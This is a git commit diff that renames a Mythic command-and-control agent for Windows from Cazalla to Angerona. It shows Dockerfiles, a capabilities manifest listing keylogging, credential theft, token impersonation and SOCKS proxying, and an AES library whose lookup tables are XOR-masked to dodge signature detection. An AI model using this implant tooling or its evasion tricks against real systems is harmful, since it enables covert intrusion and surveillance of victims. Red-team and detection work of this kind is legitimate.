Rename project from Cazalla to Angerona

Complete rebrand: renamed all files, folders, code references, documentation, Docker paths, env vars, Makefile targets, Python classes, C structs/functions, and git remote URL. Replaced agent icons with new Angerona branding (light + dark mode SVGs). Fixed builder.py to reference SVG instead of PNG for Mythic icon path.
This commit is contained in:
2026-03-25 15:32:50 +01:00
parent 120de6778d
commit 6e82a8253c
166 changed files with 434 additions and 902 deletions
+53
View File
@@ -0,0 +1,53 @@
# Alternative Dockerfile for local development and customization
# This Dockerfile ensures that local changes are always picked up
# Use this if the standard Dockerfile doesn't pick up your changes
FROM itsafeaturemythic/mythic_python_base:latest
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
# --- Evita prompts (tzdata) y builds no reproducibles ---
ENV DEBIAN_FRONTEND=noninteractive \
PIP_NO_CACHE_DIR=1
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
RUN apt-get update && \
apt-get install -y --no-install-recommends \
apt-utils ca-certificates git zip make build-essential \
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
rm -rf /var/lib/apt/lists/*
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
RUN python -m pip install --upgrade pip setuptools wheel
# --- Instala tus dependencias (sin reinstalar mythic-container) ---
COPY requirements.txt /
RUN pip install --no-cache-dir --no-deps -r /requirements.txt
# --- Variables de entorno necesarias para comunicación con Mythic Core ---
ENV MYTHIC_SERVER_HOST="mythic_server"
ENV MYTHIC_SERVER_PORT="17443"
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
# --- Copia tu código de translator de forma explícita ---
# Esto asegura que todos los cambios locales se copien correctamente
WORKDIR /Mythic/
# Copiar estructura completa del proyecto
COPY ./ /Mythic/angerona/
# Asegurar que los permisos sean correctos para Python
RUN chmod -R a+rX /Mythic/angerona/
# --- Comando por defecto ---
CMD ["python3", "main.py"]
+69
View File
@@ -0,0 +1,69 @@
# Git files
.git
.gitignore
.gitattributes
# Python cache
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
*.egg-info/
dist/
build/
*.egg
# Virtual environments
venv/
env/
ENV/
# IDE files
.vscode/
.idea/
*.swp
*.swo
*~
# OS files
.DS_Store
Thumbs.db
# Build artifacts
*.exe
*.dll
*.o
*.obj
*.a
*.lib
build/
*.pdb
*.ilk
# Logs
*.log
# Documentation (optional - remove if you want to include docs in container)
*.md
LICENSE*
# Test files (optional - remove if you want tests in container)
test/
tests/
*_test.py
test_*.py
# Temporary files
*.tmp
*.bak
*.cache
# Mythic specific (don't copy these as they're managed by Mythic)
.env
docker-compose.yml
mythic-cli
# Agent code build directories (will be built inside container)
angerona/agent_code/angerona/build/
View File
+53
View File
@@ -0,0 +1,53 @@
FROM itsafeaturemythic/mythic_python_base:latest
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
# --- Evita prompts (tzdata) y builds no reproducibles ---
ENV DEBIAN_FRONTEND=noninteractive \
PIP_NO_CACHE_DIR=1
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
RUN apt-get update && \
apt-get install -y --no-install-recommends \
apt-utils ca-certificates git zip make build-essential \
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm docker.io && \
rm -rf /var/lib/apt/lists/*
# Create the /tmp/converter directory For OLLVM
RUN mkdir -p /tmp/converter
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
RUN python -m pip install --upgrade pip setuptools wheel
# --- Instala tus dependencias (sin reinstalar mythic-container) ---
COPY requirements.txt /
RUN pip install --no-cache-dir --no-deps -r /requirements.txt
# --- Variables de entorno necesarias para comunicación con Mythic Core ---
ENV MYTHIC_SERVER_HOST="mythic_server"
ENV MYTHIC_SERVER_PORT="17443"
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
# --- Variables de entorno para Syslog Logging Container (opcional) ---
# El logger lee la configuración desde logger/syslog.conf (recomendado)
# También puede leer desde variables de entorno si están configuradas
ENV SYSLOG_SERVER=""
ENV SYSLOG_PORT="514"
ENV SYSLOG_FACILITY="16"
# --- Copia tu código de translator ---
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
WORKDIR /Mythic/
COPY ./ /Mythic/angerona/
# --- Comando por defecto ---
CMD ["python3", "main.py"]
View File
@@ -0,0 +1,33 @@
{
"os": ["Windows"],
"languages": ["C"],
"features": {
"mythic": [
"Artifacts",
"Credentials",
"Process Browser",
"File Browser",
"Keylogging",
"Tokens",
"Screenshots",
"SOCKS Proxy",
"Reverse Port Forward",
"Context Tracking",
"Download Files",
"Upload Files"
],
"custom": [
"AES-256-CBC Encryption with HMAC-SHA256",
"Process Termination",
"Token Impersonation",
"Dynamic Sleep Adjustment"
]
},
"payload_output": ["exe", "dll"],
"architectures": ["x64", "x86"],
"c2": ["http"],
"supported_wrappers": [],
"mythic_version": "3.3",
"agent_version": "1.0.0"
}
@@ -0,0 +1,20 @@
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
@@ -0,0 +1,636 @@
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A 2001 ED
ECB-AES128
----------
plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710
key:
2b7e151628aed2a6abf7158809cf4f3c
resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4
NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset
#include "Aes.h"
/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4
#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif
// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif
/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM -
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
//static const uint8_t sbox[256] = {
// //0 1 2 3 4 5 6 7 8 9 A B C D E F
// 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
// 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
// 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
// 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
// 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
// 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
// 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
// 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
// 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
// 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
// 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
// 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
// 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
// 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
// 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
// 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; // original
// custom sbox value XORed by ^ 0x55
static const uint8_t sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x36,0x29,0x22,0x2e,0xa7,0x3e,0x3a,0x90,0x65,0x54,0x32,0x7e,0xab,0x82,0xfe,0x23,0x9f,0xd7,0x9c,
0x28,0xaf,0x0c,0x12,0xa5,0xf8,0x81,0xf7,0xfa,0xc9,0xf1,0x27,0x95,0xe2,0xa8,0xc6,0x73,0x63,0x6a,
0xa2,0x99,0x61,0xf0,0xb0,0xa4,0x24,0x8d,0x64,0x40,0x51,0x92,0x76,0x96,0x4d,0xc3,0x50,0xcf,0x52,
0x47,0xd5,0xb7,0xbe,0x72,0xe7,0x20,0x5c,0xd6,0x79,0x4f,0x4e,0x3b,0x0f,0xf5,0x07,0x6e,0x83,0xe6,
0x7c,0xb6,0x7a,0xd1,0x06,0x84,0x55,0xb8,0x75,0xa9,0xe4,0x0e,0x3f,0x9e,0xeb,0x6c,0x1f,0x19,0x0d,
0x9a,0x85,0xba,0xff,0xae,0x16,0x18,0x66,0xd0,0x10,0xac,0x57,0x2a,0x05,0x69,0xca,0xfd,0x04,0xf6,
0x15,0xda,0xc7,0xc8,0x6d,0xa0,0xe9,0xe3,0x8f,0x74,0x45,0xaa,0xa6,0x87,0x98,0x59,0x46,0xb9,0x0a,
0xc2,0x11,0x42,0x91,0xf2,0x2b,0x68,0x31,0x08,0x4c,0x26,0x35,0xd4,0x1a,0x89,0x77,0x7f,0xc5,0xdd,
0x13,0xbb,0xed,0x41,0x8b,0x0b,0x5e,0x8e,0xb5,0x67,0x6f,0x5f,0x1c,0x53,0x71,0x09,0x97,0x86,0xf9,
0x37,0xc4,0xc0,0xb1,0x2c,0xb2,0x9d,0x62,0x38,0xd8,0x80,0x1b,0xfc,0x39,0x03,0xa1,0xbf,0x30,0x2f,
0xfb,0x5d,0xef,0x2d,0x70,0x7b,0x49,0xf3,0xe1,0x93,0xbd,0x88,0x21,0x4a,0x1e,0xe8,0xde,0xdf,0x25,
0x6b,0xe0,0x33,0x1d,0x56,0xa3,0x5b,0x34,0x60,0x02,0xec,0xd3,0x94,0x48,0xcb,0xb4,0xad,0xcd,0x44,
0x3c,0x8c,0xdb,0xc1,0xce,0x4b,0xd2,0xbc,0x9b,0x00,0x7d,0x8a,0xd9,0xf4,0xdc,0x58,0xea,0xb3,0x17,
0x3d,0x14,0xcc,0x78,0x5a,0xe5,0x01,0xee,0x43 };
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
//static const uint8_t rsbox[256] = {
// 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
// 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
// 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
// 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
// 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
// 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
// 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
// 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
// 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
// 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
// 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
// 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
// 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
// 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
// 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
// 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
// custom rsbox value XORed by ^ 0x55
static const uint8_t rsbox[256] = {
0x07,0x5c,0x3f,0x80,0x65,0x63,0xf0,0x6d,0xea,0x15,0xf6,0xcb,0xd4,0xa6,0x82,0xae,0x29,0xb6,0x6c,
0xd7,0xce,0x7a,0xaa,0xd2,0x61,0xdb,0x16,0x11,0x91,0x8b,0xbc,0x9e,0x01,0x2e,0xc1,0x67,0xf3,0x97,
0x76,0x68,0xbb,0x19,0xc0,0x5e,0x17,0xaf,0x96,0x1b,0x5d,0x7b,0xf4,0x33,0x7d,0x8c,0x71,0xe7,0x23,
0x0e,0xf7,0x1c,0x38,0xde,0x84,0x70,0x27,0xad,0xa3,0x31,0xd3,0x3d,0xcd,0x43,0x81,0xf1,0x09,0x99,
0x08,0x30,0xe3,0xc7,0x39,0x25,0x1d,0x05,0xa8,0xb8,0xec,0x8f,0x0b,0x40,0x13,0x02,0xf2,0xd8,0xc8,
0xd1,0xc5,0x8d,0xfe,0x55,0xd9,0xe9,0x86,0x5f,0xa2,0xb1,0x0d,0x50,0xed,0xe6,0x10,0x53,0x85,0x79,
0x4b,0xda,0x9f,0x6a,0x5a,0x57,0x94,0xfa,0xe8,0x56,0x54,0x46,0xdf,0x3e,0x6f,0xc4,0x44,0x14,0x1a,
0x32,0x89,0xbf,0xc2,0xa7,0x9a,0x9b,0xa5,0xe1,0xb3,0x26,0xc3,0xf9,0x21,0x77,0xb2,0xf8,0x60,0xd0,
0xb7,0xac,0x62,0xbd,0x49,0x20,0x8a,0x3b,0x12,0xa4,0x4f,0x24,0x48,0x7c,0x90,0xdc,0x3a,0xe2,0x37,
0x5b,0xff,0x4d,0xeb,0x4e,0xa9,0x03,0x6b,0x1e,0x93,0x87,0x2c,0x75,0xcf,0x8e,0x95,0xab,0x2d,0x98,
0x0f,0xa1,0x4a,0x88,0xfd,0x66,0xdd,0x52,0x92,0x64,0xe4,0x47,0x45,0x0c,0x72,0xd5,0xb9,0x0a,0x35,
0x04,0x2a,0xfc,0x4c,0xe0,0x1f,0x58,0x78,0xb0,0x2f,0xca,0xc6,0x9c,0xc9,0xba,0xf5,0xb5,0x6e,0x18,
0xfb,0x7f,0xa0,0xe5,0x9d,0xbe,0xee,0x69,0xd6,0x06,0xcc,0x34,0x42,0x7e,0x51,0x2b,0xef,0x22,0x83,
0x73,0xb4,0x3c,0x41,0x36,0x00,0x74,0x59,0x28 };
#endif
// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
//static const uint8_t Rcon[11] = {
// 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; //original line
static const uint8_t Rcon[11] = {
0xd8,0x54,0x57,0x51,0x5d,0x45,0x75,0x15,0xd5,0x4e,0x63 };
#define getRcon(num) (Rcon[num] ^ 0x55)
/*
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
* that you can remove most of the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used up to rcon[10] for AES-128 (as 11 round keys are needed),
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/
/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
// My Added Xor Function
//void XOR(char* data, size_t data_len, char* key, size_t key_len) {
// int j;
//
// j = 0;
// for (int i = 0; i < data_len; i++) {
// if (j == key_len - 1) j = 0;
//
// data[i] = data[i] ^ key[j];
// j++;
// }
//}
//Replace with xor to remove static strings
//#define getSBoxValue(num) (sbox[(num)]) // original line
#define origGetSBoxValue(num) (sbox[(num)])
#define getSBoxValue(num) (origGetSBoxValue(num) ^ 0x55) // Example XOR value
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations
// The first round key is the key itself.
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}
// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];
}
if (i % Nk == 0)
{
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}
// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
tempa[0] = tempa[0] ^ getRcon(i/Nk);
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4)
{
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif
// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
uint8_t i,j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}
// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
uint8_t temp;
// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;
// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}
static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}
// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i)
{
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
}
}
// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
// The compiler seems to be able to vectorize the operation better this way.
// See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y) \
( ((y & 1) * x) ^ \
((y>>1 & 1) * xtime(x)) ^ \
((y>>2 & 1) * xtime(xtime(x))) ^ \
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
//Replace with xor to remove static strings
//#define getSBoxInvert(num) (rsbox[(num)]) // original line
#define origGetSBoxInvert(num) (rsbox[(num)])
#define getSBoxInvert(num) (origGetSBoxInvert(num) ^ 0x55)
// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}
static void InvShiftRows(state_t* state)
{
uint8_t temp;
// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;
// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;
// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1; ; ++round)
{
SubBytes(state);
ShiftRows(state);
if (round == Nr) {
break;
}
MixColumns(state);
AddRoundKey(round, state, RoundKey);
}
// Add round key to last round
AddRoundKey(Nr, state, RoundKey);
}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;
// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
for (round = (Nr - 1); ; --round)
{
InvShiftRows(state);
InvSubBytes(state);
AddRoundKey(round, state, RoundKey);
if (round == 0) {
break;
}
InvMixColumns(state);
}
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
